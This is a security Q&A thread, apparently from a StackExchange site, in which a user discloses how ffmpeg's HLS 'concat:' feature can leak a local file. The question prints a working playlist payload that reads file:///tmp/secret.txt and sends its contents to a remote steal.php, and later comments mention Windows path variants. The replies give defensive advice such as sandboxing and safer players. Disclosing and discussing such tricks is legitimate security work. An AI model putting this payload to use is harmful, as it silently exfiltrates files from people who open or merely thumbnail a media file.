11

I've been a heavy user of ffmpeg-based players and encoders for years, and though I've heard about numerous security issues, I always assumed that staying up-to-date was safe enough. However, I just saw an article (in Russian) which explains how ffmpeg can be misused without relying on any bugs at all.

For the brave:

Create a file /tmp/secret.txt with a secret word (important: no newline at the end). Now play this innocently-looking video: http://dimag0g.hd.free.fr/ffmpeg/steal_secret.avi with an ffmpeg- or libav-based player (I tested SMPlayer 14.9.0 on Debian). Does your secret word appear in the video?

Windows users may try http://dimag0g.hd.free.fr/ffmpeg/steal_secret_win.avi which attempts to steal c:\secret.txt, though I didn't test it.

How it works:

steal_secret.avi is actually an HTTP Live streaming file which looks like this:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dimag0g.hd.free.fr/ffmpeg/head.m3u8|file:///tmp/secret.txt|http://dimag0g.hd.free.fr/ffmpeg/tail.m3u8
#EXT-X-ENDLIST

It instructs SMPlayer to concatenate three files: a header, secret.txt and a footer. The result of this concatenation is, again, an HLS file which looks like this:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://dimag0g.hd.free.fr/ffmpeg/steal.php?secret=your_secret_word&.txt
#EXT-X-ENDLIST

This time, contents of secret.txt are sent to steal.php as a URL parameter. In my case, steal.php simply prints back your secret is <your_secret_word> 1000 times, so it gets displayed inside the video. A real attacker could have saved the secret and displayed an innocent clip to the user, raising no suspicion.

Note that this trick doesn't rely on bugs, it uses a supported format and a useful concatenation feature. And often you don't even have to click on the file: your file manager will run ffmpeg on it to generate a thumbnail.

What to do?

Besides the obvious advice of being careful with untrusted files and never ever running GUI as root, what could be done to minimize the risk? Specifically, what media player should I use when opening such files? So far, my example only works with mplayer and SMPlayer, which support concat, but I wonder if other media players supporting HLS can be exploited in a similar way.

5
  • Anyone get this working? Windows reads it as an invalid URL (chrome downloads it, both VLC and WMP can't find the resource). Jan 14, 2016 at 20:34
  • @JonathanGray I only got it working on Debian, and figured it might work on windows if I replace /tmp/secret.txt by c:\secret.txt. Well, turns out it doesn't Jan 14, 2016 at 20:36
  • try file://c:/secret.txt Jan 15, 2016 at 4:23
  • @RichieFrame Thanks. When I get home this evening, I'll test this on my Windows PC. Jan 15, 2016 at 7:44
  • 1
    Follow-up: I have discovered that some players fail to display text as video, but still leak the secret. I have added a line to steal.php to store the secret parameter into dimag0g.hd.free.fr/ffmpeg/log.txt Still, Media Player Classic under Windows doesn't seem to leak anything. Jan 16, 2016 at 8:40

2 Answers 2

4

Indeed, there are many vulnerabilities in FFmpeg and alike, many of them discovered by researcher at Google with fuzzing technique. Updating your player, encoder and codecs is a must to reach a secure system as far possible.

If you have to deal with (media) files from untrusted sources, I may suggest handling them in a “virtual container“. Check out some of the solutions like VMware or VirtualBox which provide free versions.

I'm working as a security researcher and my team is relying on this approach for all critical file-types (media, documents, executables, etc.). It has some negative impact on comfort and performance, usually just in a minor way. But sometimes this is the price you have to pay for security.

2

Given the number of codecs and players today, bad things may indeed happen.

Regarding on "What to do?" I found a pretty simple solution: I use my own image viewer and movie player which will not interpret data like in your example. Although for images it pretty much supports every invented format, for the video there's the problem with the codecs: too many of them in too many versions.

Although official formats work fine, some new weird codes will not. But given that I get such a file in like 1 of 1000 cases, I see no problem in converting them in a protected mode.

There are many advantages of not depending on operating system files or security in order to view images and play movies...starting with something like windows not spawning its thumbs.db everywhere (since I never use explorer or MP) to linux security issues and exploits that may come with the codecs, mostly non-stream data interpretation.

For the video part, you should find a player that is able to play stream as-is, with the possibility of ignoring all spam/meta information. Using it like that will make you perfectly safe.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .